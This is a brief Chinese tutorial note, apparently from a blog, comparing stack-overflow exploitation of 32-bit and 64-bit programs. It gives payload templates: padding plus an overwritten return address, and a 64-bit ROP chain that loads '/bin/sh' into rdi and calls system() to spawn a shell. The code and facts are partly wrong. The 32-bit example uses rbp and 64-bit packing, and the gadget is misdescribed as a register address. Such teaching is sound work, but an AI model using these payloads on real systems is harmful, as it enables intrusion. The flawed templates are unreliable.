三十二位程序和六十四位程序栈溢出利用的区别
三十二位程序
三十二位程序直接利用栈进行传参
执行流:
padding = 输入函数与rbp的地址差 + 4
4为rbp所占内存空间的大小
return_addr = 执行函数的首地址
payload = b"a" * padding + p64(return_addr)
六十四位程序
六十四位程序会利用寄存器进行传参
下面的执行流示例以ROP(返回定向编程)进行举例,设system函数首地址为system_addr,/bin/sh的首地址为binsh_addr
执行流:
padding = 输入函数与rbp的地址差 + 8
8为rbp所占内存空间的大小
rdi_ret = rdi寄存器的地址
payload = b"a" * padding + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr)

浙公网安备 33010602011771号